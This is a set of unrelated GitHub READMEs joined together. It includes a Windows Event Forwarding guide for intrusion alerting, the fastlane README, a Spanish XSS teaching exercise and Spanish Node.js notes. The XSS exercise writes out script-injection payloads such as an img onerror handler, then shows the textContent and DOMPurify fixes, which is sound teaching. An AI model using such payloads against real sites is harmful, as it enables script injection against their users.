- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
## Related
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](https://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
|
# WindowsEventForwarding
This repo contains all the files needed for using Windows Event Forwarding to monitor for intruders.
This repo also assumes that you have referenced the Windows Event Logging Cheat Sheet for logging in your environment. Use [LOG-MD](https://www.imfsecurity.com/free) or [CIS-CAT](https://learn.cisecurity.org/benchmarks#:~:text=CIS%20Benchmarks%20are%20the%20only%20consensus-based%2C%20best-practice%20security,and%20accepted%20by%20government%2C%20business%2C%20industry%2C%20and%20academia) to ensure the recommended logging is configured.
__STARTUP SCRIPT NOTE:__ Windows Event Forwarding can be tricky. I have computers in the same OU with the exact same settings and configuations applied with some servers forwarding events and other servers not forwarding events. To compensate I have the below lines added to a startup script which was done to ensure the correct permissions are applied and the WinRM service is available for communication.
```powershell
Write-Verbose "Giving NETWORK SERVICE permissions to the Security log for WEF"
cmd /c 'wevtutil sl Security /ca:O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x1;;;BO)(A;;0x1;;;SO)(A;;0x1;;;S-1-5-32-573)(A;;0x1;;;S-1-5-20)'
Write-Verbose "Add NETWORK SERVICE to event log readers group for WEF"
Add-LocalGroupMember -Group "Event Log Readers" -Member "NETWORK SERVICE" -ErrorAction SilentlyContinue | Out-Null
Write-Verbose "Ensuring WinRM service is available for WEF communication"
$EventInfo = Get-WinEvent -LogName 'Microsoft-Windows-Forwarding/Operational' -MaxEvents 1
If ($EventInfo.LevelDisplayName -ne "Information") {
cmd /c 'sc config WinRM type= own'
} # End If
Write-Verbose "Enabling Certificate Authenticated WEC connections"
$Enabled = (winrm get winrm/config/service |select-string -pattern "Certificate = " | Out-String).Trim()
If ($Enabled -like "*false") {
Set-Item -Path WSMan:\localhost\Service\Auth\Certificate -Value $True
}
```
## File List
- __DomainComputers.xml__ (Windows Event Forwarding Config file for Domain Computers ```wecutil cs DomainComputers.xml```)
- __DomainControllers.xml__ (Windows Event Forwarding Config file for Domain Controllers ```wecutil cs DomainControllers.xml```)
- __Import-EventsHourly.ps1__ (PowerShell script that imports collected WEF events into SQL database)
- __ImportTheScheduledTasks.ps1__ (This is an optional script that can be used to import the task scheduler xml files, simultaneously creating the needed scheduled tasks on the Windows Event Log Collector centralized Server)
- __Query to Create MSSQ LDB Table__ (Creates the required database and table configuration for the MSSQL server database)
- __SQL-Query-Suspicious-Events.ps1__ (PowerShell script that discovers possible indicators of compromise and sends and an email alert)
- __TaskForSQLQueryEventsMonitor.xml__ (Task Scheduler import file that goes with SQL-Query-Suspicious-Events.ps1)
- __TaskImportFile.xml__ (Task Scheudler Import file that goes with Import-EventsHourly.ps)
- __WEFStartupScript.ps1__ (This should be the startup script on all devices sending events to the source WEF collector)
## PREREQUISITES
- Download and Install [SSMS](https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15)
- WinRM (Preferably WinRM over HTTPS) needs to be configured in your environment Follow the steps [HERE](https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem) to configure WinRM in your environment for Windows Event Forwarding.
```powershell
# Some WinRM Commands to know that may be helpful
Enable-PSRemoting -Force # Enables firewall rules for WinRM
winrm qc -q # Qucik config for WinRM 5985
winrm enum winrm/config/listener # Enumerate cert thumbprint used on different winrm ports
winrm delete winrm/config/listener?Address=*+Transport=HTTPS # Delete winrm certificate and stop listener on 5986. This allows new cert to be attached to port
winrm create winrm/config/listener?Address=*+Transport=HTTPS # Creates a WinRM listener on 5986 using any available certificate
# The below command defines a certificate to use on port 5986. Certificate Template needed is a Web Server certificate from Windows PKI
New-WSManInstance -ResourceUri WinRM/Config/Listener -SelectorSet @{Address = "*"; Transport = "HTTPS"} -ValueSet @{Hostname = FqdnRequiredHere.domain.com; CertificateThumbprint = $Thumbprint }
```
- Group Policy setting "__Computer Configuration__ > __Policies__ > __Adminsitrative Templates__ > __Windows Components__ > __Event Forwarding__ > __Configure Target Subscription Manager__" needs to be set to
- __WinRM__ (Port 5985): NOTE: The refresh interval is not required. I have it set to the default value (15 minutes) in the configs below
```
# WINRM EXAMPLE
Server=http://wef.domain.com:5985/wsman/SubscriptionManager/WEC,Refresh=900
```
__OR__
- __WinRM over HTTPS__ (Port 5986): In my environment I added 3 entries for this. One without a CA certificate, one with spaces after every 2 numbers, and one without spaces in the root CA's certificate thumbprint
```
# WINRM HTTPS EXAMPLES
Server=https://wef.domain.com:5986/wsman/SubscriptionManager/WEC,Refresh=900,IssuerCA=ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
Server=https://wef.domain.com:5986/wsman/SubscriptionManager/WEC,Refresh=900,IssuerCA=ffffffffffffffffffffffffffffffffffffffff
Server=https://wef.domain.com:5986/wsman/SubscriptionManager/WEC,Refresh=900
```
- Group Policy Setting "__Computer Configuration__ > __Policies__ > __Adminsitrative Templates__ > __Windows Components__ > __Event Log Service__ > __Security__ > __Change Log Access__" needs to be set to the value of the property "__ChannelAccess__" after issuing the command ```wevtutil gl security```
- Group Policy Setting "__Computer Configuration__ > __Policies__ > __Adminsitrative Templates__ > __Windows Components__ > __Event Log Service__ > __Security__ > __Change Log Access (Legacy)__" needs to be set to the value of the property "__ChannelAccess__" after issuing the command ```wevtutil gl security```
<br>
### Certificates requirements
You may need to enable certificate authentication on the client computers. This can be done with the below command
```powershell
$Enabled = (winrm get winrm/config/service |select-string -pattern "Certificate = " | Out-String).Trim()
If ($Enabled -like "*false") {
Set-Item -Path WSMan:\localhost\Service\Auth\Certificate -Value $True
}
```
A server authentication certificate has to be installed on the Event Collector computer in the Personal store of the Local machine. The subject of this certificate has to match the FQDN of the collector. <br>
<br>
A client authentication certificate has to be installed on the Event Source computers in the Personal store of the Local machine. The subject of this certificate has to match the FQDN of the computer. <br>
<br>
If the client certificate has been issued by a different Certification Authority than the one of the Event Collector then those Root and Intermediate certificates needs to be installed on the Event Collector as well. <br>
<br>
If the client certificate was issued by an Intermediate certification authority and the collector is running Windows 2012 or later you will have to configure the following registry key: __HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\ClientAuthTrustMode (DWORD) = 2__ <br>
```powershell
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" -Name "ClientAuthTrustMode" -Value 2 -Force
```
<br>
Verify that both the server and client are able to successfully check revocation status on all certificates. Use of the certutil command can assist in troubleshooting any errors.<br>
<br>
#### Intermediate Certificate Authority
If the client certificate was issued by an Intermediate certification authority and the collector is running Windows 2012 or later you will have to configure the following registry key with a DWORD value of 2:
```
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" -Name "ClientAuthTrustMode" -Value 2
```
### Setup the listener on the Event collector
Set the certificate authentication with the following command:
```powershell
cmd /c 'winrm set winrm/config/service/auth @{Certificate="true"}'
```
A WinRM HTTPS listener with the server authentication certificate thumb print should exist on the event collector computer. This can be verified with the following command:
```powershell
winrm e winrm/config/listener
```
If you do not see the HTTPS listener, or if the HTTPS listener's thumb print is not same as the thumb print of the server authentication certificate on collector computer, then you can delete that listener and create a new one with the correct thumb print. To delete the https listener, use the following command:
```powershell
winrm delete winrm/config/Listener?Address=*+Transport=HTTPS
```
To create a new listener, use the following command:
```powershell
winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="<FQDN of the collector>";CertificateThumbprint="<Thumb print of the server authentication certificate>"}
```
<br>
Create the certificate mapping using a certificate that is present in the machine’s “Trusted Root Certification Authorities” or “Intermediate Certification Authorities”.
```powershell
winrm create winrm/config/service/certmapping?Issuer=<Thumbprint of the issuing CA certificate>+Subject=*+URI=* @{UserName="<LocalAdministrator>";Password="<password>"} -remote:localhost
```
<br>
From a client test the listener and the certificate mapping with the following command:
```powershell
winrm g winrm/config -r:https://<Event Collector FQDN>:5986 -a:certificate -certificate:"<Thumbprint of the client authentication certificate>"
```
<br>
This should return the WinRM configuration of the Event collector. Do not move past this step if the configuration is not displayed.
<br>
## SET UP USING THESE FILES
#### STEP 1.)
In order to use the __DomainComputers.xml__ and __DomainControllers.xml__ config files in Windows Event Forwarding the below commands must be issued in an Administrator Command Prompt.
```cmd
wecutil cs DomainComputers.xml
wecutil cs DomainControllers.xml
```
#### STEP 2.)
Create the SQL database schema and table.
1. Open SSMS (SQL Server Management Studio)
2. Click "Execute New Query" in the top ribbon.
3. Copy and paste the contents of __Query to Create MSSQL DB Table__ into the query and click "Execute" This builds your SQL Database table where events will be imported.
#### (STEP 3 and STEP 4's tasks can be created by executing the ImportTheScheduledTasks.ps1 script after downloading this git)
<br>
#### STEP 3.)
Create Scheduled Task to Import Events into SQL Database
1. Place the powershell script __Import-EventsHourly.ps1__ into C:\Users\Public\Documents (_this is to match the Task Template in this repo_) or wherever you prefer to store this script. Be sure to sign it with a trusted Code Signing Certificate in your environment _(Import Code Signing Cert Info __"Trusted Publishers"__ store in certmgr.msc)_ to prevent it from running malicious code. Modify the permissions so only administrators can modify the script. Have this run every hour on minute 55. This leaves time for the events to get imported into the SQL database. Then on the hour, have the next task run.
1. Create a scheduled task that runs once an hour. You can use my template __TaskImportFile.xml__. Import this task and you should only need to define the user with Batch and Service permissions to run the script.
```powershell
# PowerShell Command to use code signing certificate
Set-AuthenticodeSignature C:\Users\Public\Documents\Import-EventsHourly.ps1 @(Get-ChildItem Cert:\CurrentUser\My -CodeSigningCert)[0]
```
#### Step 4.)
Create Monitoring and Alert Task
1. Add __SQL-Query-Suspicous-Events.ps1__ to C:\Users\Public\Documents which will match with the location of my XML template. Be sure to sign in with a trusted Code Signing Certificate _(Import Code Signing Cert Info __"Trusted Publishers"__ store in certmgr.msc)_ in your environment to prevent it from running malicious code. Modify the permissions so only administrators can modify the script. Have this task run on the hour.
```powershell
# PowerShell Command to use code signing certificate
Set-AuthenticodeSignature C:\Users\Public\Documents\Import-EventsHourly.ps1 @(Get-ChildItem Cert:\CurrentUser\My -CodeSigningCert)[0]
```
2. Import the task from __TaskForSQLQueryEventsMonitor.xml__ that runs once a day to execute SQL-Query-Suspicous-Events.ps1
3. Edit the file __SQL-Query-Suspicous-Events.ps1__ so the email variables are set to match your environment. Once of the SQL querties will also need to be modified in order to add accounts that commonly receive special permissions such as accounts that are used for LDAP binds or domain controllers. Or don't use any special filtering. Whatever floats your boat. The SQL queries only return events from the last hour. This is significantly faster than filtering the Windows Event log through XML which also will eventually delete logs to make room for newer logs.
Once run, the script returns event information on the below possible indications of compromise from all those devices forwarding events.
- Were any Event Logs Cleared
- Was a new Local or Domain User created anywhere (Excluding WDAGUtilityAccount)
- User added to a high privileged security group (Administrators, Domain Admins, Schema Admins, Enterprise Admins, Print Operators, Server Operators, Backup Operators)
- Was a user removed from a high privileged security group (Possible covering tracks)
- Were any new services run/created
- Were any accounts locked out
- Were any accounts unlocked
- Were any special privileges assigned outside the norm (Normal accounts: admin, dnsdynamic, <DomainController>$
- Were any replay attack attempts detected
#### Step 5.)
To ensure the correct permissions are set on the Windows Event Log Source Collector issue the below commands (on the Windows Event Forwarding Collection Server)
```cmd
netsh http delete urlacl url=http://+:5985/wsman/
netsh http add urlacl url=http://+:5985/wsman/ sddl=D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-2996563517)
netsh http delete urlacl url=https://+:5986/wsman/
netsh http add urlacl url=https://+:5986/wsman/ sddl=D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-2996563517)
```
#### IMAGE OF AN EMAILED ALERT
When the script gets triggered it performs a search on all collected targeted events for the last 1 hour and 5 minutes only. You can change this in the task and SQL Query script. The results will not always mean compromise but they will definitely help to discover them when they happen.
(Microsoft says the max limit of machines to collect events from is 2,000 to 4,000).
__REFERNCE:__ [https://support.microsoft.com/en-gb/help/4494356/best-practice-eventlog-forwarding-performance](https://support.microsoft.com/en-gb/help/4494356/best-practice-eventlog-forwarding-performance)
### TROUBLESHOOTING NOTE
I have run into issues before where all the above is set correctly but on the clients I receive
```
The forwarder is having a problem communicating with subscription manager at address https://server.doamin.com:5986/wsman/SubscriptionManager/WEC. Error code is 2150858882 and Error Message is <f:WSManFault xmlns:f="http://schemas.microsoft.com/wbem/wsman/1/wsmanfault" Code="2150858882" Machine="client.domain.com"><f:Message>The WS-Management service cannot find the certificate that was requested. </f:Message></f:WSManFault>.
```
If you run into this execute the below command on your Windows Event Forwarding Source Collection Server.
```powershell
netsh http show sslcert
$Thumbprint = Read-Host -Prompt "What is your WinRM Certificate Thumbprint"
$AppID = (netsh http show sslcert) | Select-String -Pattern "0.0.0.0:443" -Context 1,3 | Select-Object -First 1 | Out-String | ForEach-Object { $_.Split(" ")[74] }
$AppID = $AppID.Trim()
netsh http delete sslcert ipport=0.0.0.0:443
netsh http add sslcert ipport=0.0.0.0:443 certhash=$Thumbprint appid=`"$AppID`"
Restart-Service winrm,wecsvc
```
If that above value is not your Root CA thumbprint then execute the below commands
```powershell
net user /add WEFAdmin <Password>
Add-LocalGroupMember -Group Administrators -Member WEFAdmin
cmd
winrm create winrm/config/service/certmapping?Issuer=<Thumbprint of the issuing CA certificate>+Subject=*+URI=* @{UserName="WEFAdmin";Password="<password>"} -remote:localhost
```
From a client test the listener and the certificate mapping with the following command:
```powershell
cmd
winrm g winrm/config -r:https://<Event Collector FQDN>:5986 -a:certificate -certificate:"<Thumbprint of the client authentication certificate>"
```
This should return the WinRM configuration of the Event collector. Do not move past this step if the configuration is not displayed.
What happens at this step?
- The client connects to the Event Collector and sends the specified certificate
- The Event Collector looks for the issuing CA and checks if the is a matching certificate mapping
- The Event Collector validates the client certificate chain and revocations status
- If the above steps succeeds the authentication is completed.
__NOTE:__ You might get an Access denied error complaining about the authentication method, which could be misleading. To troubleshoot, check the CAPI log on the Event Collector.
List the configured certmapping entries with the command: winrm enum winrm/config/service/certmapping
### REFERENCE LINKS
- https://blog.netnerds.net/2013/03/importing-windows-forwarded-events-into-sql-server-using-powershell/
- https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
- https://support.microsoft.com/en-us/help/4494462/events-not-forwarded-if-the-collector-runs-windows-server
- https://serverfault.com/questions/769282/windows-event-log-forwarding-permission
|
<h3 align="center">
<a href="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png">
<img src="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png?raw=true" alt="fastlane Logo" width="500">
</a>
</h3>
[](https://twitter.com/FastlaneTools)
[](https://github.com/fastlane/fastlane/blob/master/LICENSE)
[](https://rubygems.org/gems/fastlane)
[](https://circleci.com/gh/fastlane/fastlane)
[](https://github.com/fastlane/fastlane/blob/master/CONTRIBUTING.md)
_fastlane_ is a tool for iOS and Android developers to automate tedious tasks like generating screenshots, dealing with provisioning profiles, and releasing your application.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
## Need Help?
Before submitting a new GitHub issue, please make sure to
- Check out [docs.fastlane.tools](https://docs.fastlane.tools)
- Search for [existing GitHub issues](https://github.com/fastlane/fastlane/issues)
If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command.
**Note**: If you want to report a regression in _fastlane_ (something that has worked before, but broke with a new release), please mark your issue title as such using `[Regression] Your title here`. This enables us to quickly detect and fix regressions.
## _fastlane_ team
<!-- This table is regenerated and resorted on each release -->
<table id='team'>
<tr>
<td id='felix-krause'>
<a href='https://github.com/KrauseFx'>
<img src='https://github.com/KrauseFx.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/KrauseFx'>Felix Krause</a></h4>
</td>
<td id='olivier-halligon'>
<a href='https://github.com/AliSoftware'>
<img src='https://github.com/AliSoftware.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4>
</td>
<td id='danielle-tomlinson'>
<a href='https://github.com/endocrimes'>
<img src='https://github.com/endocrimes.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/endocrimes'>Danielle Tomlinson</a></h4>
</td>
<td id='luka-mirosevic'>
<a href='https://github.com/lmirosevic'>
<img src='https://github.com/lmirosevic.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4>
</td>
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<a href='https://github.com/giginet'>
<img src='https://github.com/giginet.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/giginet'>Kohki Miki</a></h4>
</td>
</tr>
<tr>
<td id='aaron-brager'>
<a href='https://github.com/getaaron'>
<img src='https://github.com/getaaron.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/getaaron'>Aaron Brager</a></h4>
</td>
<td id='andrew-mcburney'>
<a href='https://github.com/armcburney'>
<img src='https://github.com/armcburney.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/armcburney'>Andrew McBurney</a></h4>
</td>
<td id='jorge-revuelta-h'>
<a href='https://github.com/minuscorp'>
<img src='https://github.com/minuscorp.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/minuscorp'>Jorge Revuelta H</a></h4>
</td>
<td id='joshua-liebowitz'>
<a href='https://github.com/taquitos'>
<img src='https://github.com/taquitos.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/taquitos'>Joshua Liebowitz</a></h4>
</td>
<td id='jimmy-dee'>
<a href='https://github.com/jdee'>
<img src='https://github.com/jdee.png?size=140'>
</a>
<h4 align='center'>Jimmy Dee</h4>
</td>
</tr>
<tr>
<td id='stefan-natchev'>
<a href='https://github.com/snatchev'>
<img src='https://github.com/snatchev.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/snatchev'>Stefan Natchev</a></h4>
</td>
<td id='jan-piotrowski'>
<a href='https://github.com/janpio'>
<img src='https://github.com/janpio.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/Sujan'>Jan Piotrowski</a></h4>
</td>
<td id='maksym-grebenets'>
<a href='https://github.com/mgrebenets'>
<img src='https://github.com/mgrebenets.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4>
</td>
<td id='max-ott'>
<a href='https://github.com/max-ott'>
<img src='https://github.com/max-ott.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/ott_max'>Max Ott</a></h4>
</td>
<td id='jérôme-lacoste'>
<a href='https://github.com/lacostej'>
<img src='https://github.com/lacostej.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/lacostej'>Jérôme Lacoste</a></h4>
</td>
</tr>
<tr>
<td id='matthew-ellis'>
<a href='https://github.com/matthewellis'>
<img src='https://github.com/matthewellis.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/mellis1995'>Matthew Ellis</a></h4>
</td>
<td id='fumiya-nakamura'>
<a href='https://github.com/nafu'>
<img src='https://github.com/nafu.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/nafu003'>Fumiya Nakamura</a></h4>
</td>
<td id='daniel-jankowski'>
<a href='https://github.com/mollyIV'>
<img src='https://github.com/mollyIV.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/mollyIV'>Daniel Jankowski</a></h4>
</td>
<td id='manu-wallner'>
<a href='https://github.com/milch'>
<img src='https://github.com/milch.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/acrooow'>Manu Wallner</a></h4>
</td>
<td id='helmut-januschka'>
<a href='https://github.com/hjanuschka'>
<img src='https://github.com/hjanuschka.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/hjanuschka'>Helmut Januschka</a></h4>
</td>
</tr>
<tr>
<td id='iulian-onofrei'>
<a href='https://github.com/revolter'>
<img src='https://github.com/revolter.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/Revolt666'>Iulian Onofrei</a></h4>
</td>
<td id='josh-holtz'>
<a href='https://github.com/joshdholtz'>
<img src='https://github.com/joshdholtz.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/joshdholtz'>Josh Holtz</a></h4>
</td>
</table>
Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_.
## Contribute to _fastlane_
Check out [CONTRIBUTING.md](CONTRIBUTING.md) for more information on how to help with _fastlane_.
## Code of Conduct
Help us keep _fastlane_ open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md).
## Metrics
_fastlane_ tracks a few key metrics to understand how developers are using the tool and to help us know what areas need improvement. No personal/sensitive information is ever collected. Metrics that are collected include:
* The number of _fastlane_ runs
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## License
This project is licensed under the terms of the MIT license. See the [LICENSE](LICENSE) file.
> This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
|
# No framework - ejercicio 01
En este ejemplo vamos a tener un formulario y un texto, este texto lo vamos a mostrar en una etiqueta _span_. Vamos a ver si en ese texto podemos inyectar un script y ejecutar un código malicioso.
Aunque no debería de ejecutarse una etiqueta _script_ insertada dentro de un innerHTML, vamos a ver que existen diferentes formas que nos permiten ejecutar código malicioso.
Para solucionar esto _mdn_ nos recomienda usar:
- **Element.SetHTML()**: para hacer un sanitize del texto antes de insertarlo en el DOM. Este método está todavía en experimental.
- **Node.textContent**: no lo analiza cómo si fuera HTML, y lo inserta como texto plano.
[Más información](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML)
# Manos a la obra
> ## Instalación:
Vamos a ejecutar desde la línea de comandos **`npm install`** para instalar las dependencias que tenemos en nuestro _package.json_.
```javascript
npm install
```
Una vez instaladas nuestras dependencias vamos a hacer **`npm start`** para arrancar nuestra aplicación.
```javascript
npm start
```
Abrimos el navegador y vamos a la url:
[**http://localhost:1234**](http://localhost:1234)
> ## Pasos
Vamos a comenzar añadiendo el siguiente código **html** dentro del input de nuestro formulario y enviamos.
```html
Soy el contenido del input <button style="height: 40px">Soy un botón</button>
```
<img src="./assets/01.png" alt="css-loader" style="zoom:67%;" />
Como podemos observar la salida del **input** nos muestra el texto pero también un botón. Esto es porque el **DOM** ha podido leer esta etiqueta. Si inspeccionamos el código en el navegador podemos ver que así es:
<img src="./assets/02.png" alt="css-loader" style="zoom:67%;" />
Esto nos puede llevar a pensar: Sí se ha podido pintar un botón, ¿Por qué no ejecutar un **script** utilizando sus etiquetas?... probemos el siguiente ejemplo:
```html
Soy el contenido del input
<script>
alert("soy un script de alert");
</script>
```
<img src="./assets/03.png" alt="css-loader" style="zoom:67%;" />
Upss!! ¿Y mi alert?...
<img src="./assets/04.png" alt="css-loader" style="zoom:67%;" />
Podemos ver que se ha incluido el **script** pero no se ha ejecutado el **alert**.
Quizá sea demasiado obvio incluir una etiqueta `<script>` y el navegador no lo ejecuta por seguridad.
Lo que sucede es que **html5** ya controla este tipo de inyecciones de código en los **input** y no permite ejecutar su contenido por seguridad.
Una de las formas para saltarnos esta restricción es inyectar nuestro código por ejemplo en la función `onerror` de la etiqueta `<img>`, vamos a probarlo.
```html
<img src="x" onerror='alert("la hemos liao")' />
```
<img src="./assets/05.png" alt="css-loader" style="zoom:67%;" />
Al enviar vemos que la imagen sale errónea pero hemos ejecutado código _javascript_.
<img src="./assets/06.png" alt="css-loader" style="zoom:67%;" />
Esto es un ejemplo básico, en las siguientes demos veremos cómo podemos sustraer cookies, headers y varios ejemplos más.
> ## Cómo solucionarlo
Para solucionar esto, _mdn_ nos recomienda que utilicemos _textContent_.
Vamos a nuestro _index.ts_ y cambiamos _innerHTML_ por _textContent_.
_src/index.ts_
```diff
document.getElementById("submit").addEventListener("click", function (e) {
const input = document.getElementById("name") as HTMLInputElement | null;
const contenido = input?.value;
- document.getElementById("result").innerHTML = contenido;
+ document.getElementById("result").textContent = contenido;
});
```
Y si ahora introducimos en nuestro _input_ y enviamos:
```
<img src='x' onerror='alert("la hemos liao")'>
```
Nos trata a la etiqueta _img_ como si fuera un texto plano y nos lo inserta dentro del _result_.
<img src="./assets/07.png" alt="css-loader" style="zoom:67%;" />
Si inspeccionamos el código en nuestro navegador este sería el resultado:
<img src="./assets/08.png" alt="css-loader" style="zoom:67%;" />
Si no queremos perder la capacidad de poner HTML, podemos intentar usar
un "purifier", ojo que aquí se pueden quedar puertas abiertas.
```bash
npm install dompurify --save
```
```bash
npm install @types/dompurify --save-dev
```
```diff
import * as DOMPurify from "dompurify";
.....
document.getElementById("submit").addEventListener("click", function (e) {
const input = document.getElementById("name") as HTMLInputElement | null;
const contenido = input?.value;
- document.getElementById("result").textContent = contenido;
+ const contenidoCurado = DOMPurify.sanitize(contenido);
+ document.getElementById("result").innerHTML = contenidoCurado;
});
```
- Arrancamos
```bash
npm start
```
- Si volvemos a intentar insertar el código malicioso:
```
<img src='x' onerror='alert("la hemos liao")'>
```
Si nos fijamos aparece el IMG pero no el script.
Así podemos insertar un botón
```html
Soy el contenido del input <button style="height: 40px">Soy un botón</button>
```
# Referencias
[En este enlace puedes encontrar varios ejemplos de código con inyecciones **XSS**]("https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html")
|
# JavaScript Avanzado
## Table of Contents
1. [Node](#node)
2. [Npm y paquetes](#npm-y-paquetes)
3. [Node para front y back end](#node-para-front-y-back-end)
4. [Arquitectura de software](#arquitectura-de-software)
5. [Stacks de desarrollo web](#stacks-de-desarrollo-web)
6. [Asincronía y Event Loop](#asincronía-y-event-loop)
7. [Comparativa entre Node vs JavaScript](#node)
8. [Conceptos de una API](#conceptos-de-una-api)
9. [Qué es REST y sus principios](#qué-es-rest-y-sus-principios)
10. [API Rest](#api-rest)
11. [ExpressJS](#expressjs)
12. [Deploys](#deploys)
13. [Notas adicionales](#notas-adicionales)
14. [Herramientas](#herramientas)
15. [Glosario](#glosario)
### Node
Node es un entorno multiplataforma para ejecutar JavaScript fuera del navegador, tiene su origen en el 2009 (Ryan Lenhiart).
#### **Instalación**
[Descargar LTS](https://nodejs.org/es/download/)
node -v
npm -v
**Versiones válidas:** 12.x.x, 14.x.x y 16.x.x
#### **Que se puede hacer con node**
- Realizar API Rest.
- Acceder a bases de datos relacionales y no relacionales.
- Generar páginas dinámicas en un servidor web. => server side render
- Crear, leer y escribir archivos.
- Procesar y almacenar archivos enviados desde una página web.
**Elementos de node**
Dentro de node se utilizan los módulos y las callbacks.
- **Módulo:** Permiten aislar parte de nuestro código en diferentes archivos y mandarlos llamar sólo cuándo los necesitamos.
Existen dos **formas de utilizar módulos** en node:
- Commun JS.
- ES6 Imports.
- **Callback:** Es una funcion que se pasa como parametro a otra funcion.
#### Diferencias entre Node y JS
**Javascript**
* Funciona en el navegador.
* JS + web api.
* fetch.
* settimeout.
* addeventlistener.
* localstorage.
**Node**
* Funciona en el servidor.
* JS + modulos de node.
* http.
* os.
* fs.
* global.
* path.
**Modelo cliente servidor**
Es un modelo de arquitectura donde mediante ciertos procolos existen la comunicación en internet. Por un lado, el servidor es una aplicación que ofrece un servicio, mientras que un cliente es quien pide el servicio.
**Path**
Una ruta o path indica una ubicación a nivel de carpeta de algun fichero dentro del
sistema de archivos.
**Ejemplos de rutas**
```
/# Raiz
/
/# Significa ahi mismo
./
/# Regresar un nivel de carpetas../
../../
```
**Mime Types**
Los mime types indican la naturaleza y formato de los archivos que son transmitidos en la respuesta de una solicitud web.
- json: 'application/json'.
- text: 'text/plain'.
- html: 'text/html'.
- css: 'text/css'.
- jpg: 'image/jpg'.
- ico: 'image/x-icon'.
- mp3: 'audio/mpeg3'.
- mp4: 'video/mp4'.
Para ver el listado completo [consulte](https://docs.w3cub.com/http/basics_of_http/mime_types/complete_list_of_mime_types.html).
